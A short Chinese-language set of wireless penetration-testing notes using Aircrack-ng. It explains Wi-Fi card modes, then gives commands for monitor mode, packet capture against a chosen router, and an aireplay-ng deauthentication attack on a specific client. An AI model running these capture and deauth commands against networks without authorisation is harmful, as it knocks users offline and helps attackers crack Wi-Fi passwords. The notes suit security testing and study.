无线渗透笔记
使用 Aircrack-ng 套件进行无线攻击测试。
无线监听
技术原理
无线网卡的四种工作模式
Managed：用于设备与 AP 直接连接， 无线网卡的驱动程序依赖无线 AP 管理整个通信过程。
Ad hoc：当你的网络由互相直连的设备组成时，就使用这个模式。在这个模式中，无线通信双方共同承担 WAP 的职责。
Master：主模式，允许无线网卡使用特制的驱动程序和软件工作，作为其他设备的 WAP。
Monitor：监听模式，停止收发数据，监听无线数据包。
执行步骤
切换为监听模式
启动 Airmon-ng：
iwconfig airmon-ng start wlx70f11c280f23 # airmon-ng start wlan0关闭 Network Manager：
service network-manager stop开启 Network Manager：
service network-manager restart
开启监听
使用 Airodump-ng：
airodump-ng wlan0mon
捕获数据
Wireshark：选择监听网卡捕获数据
Airodump-ng：
airodump-ng -c 1 wlan0mon -w data # -c 信道 -w 输出目录名
WiFi Crack
开启监听
airmon-ng start wlan0
扫描信号
airodump-ng wlan0mon
选定 Wi-Fi 监听
airodump-ng wlan0mon -c 11 --bssid BC:46:99:3D:66:D6 -w doc # -w 指定生成的文件名 -c 指定信道 --bssid 指定路由器的 MAC 地址
攻击
aireplay-ng -0 50 -a E2:A5:3E:6B:F7:21 -c 44:C3:46:40:7E:5D wlan0mon # -0 指定发包的数量 -a 指定路由器的MAC地址 -c 指定连接的客户端的 MAC 地址
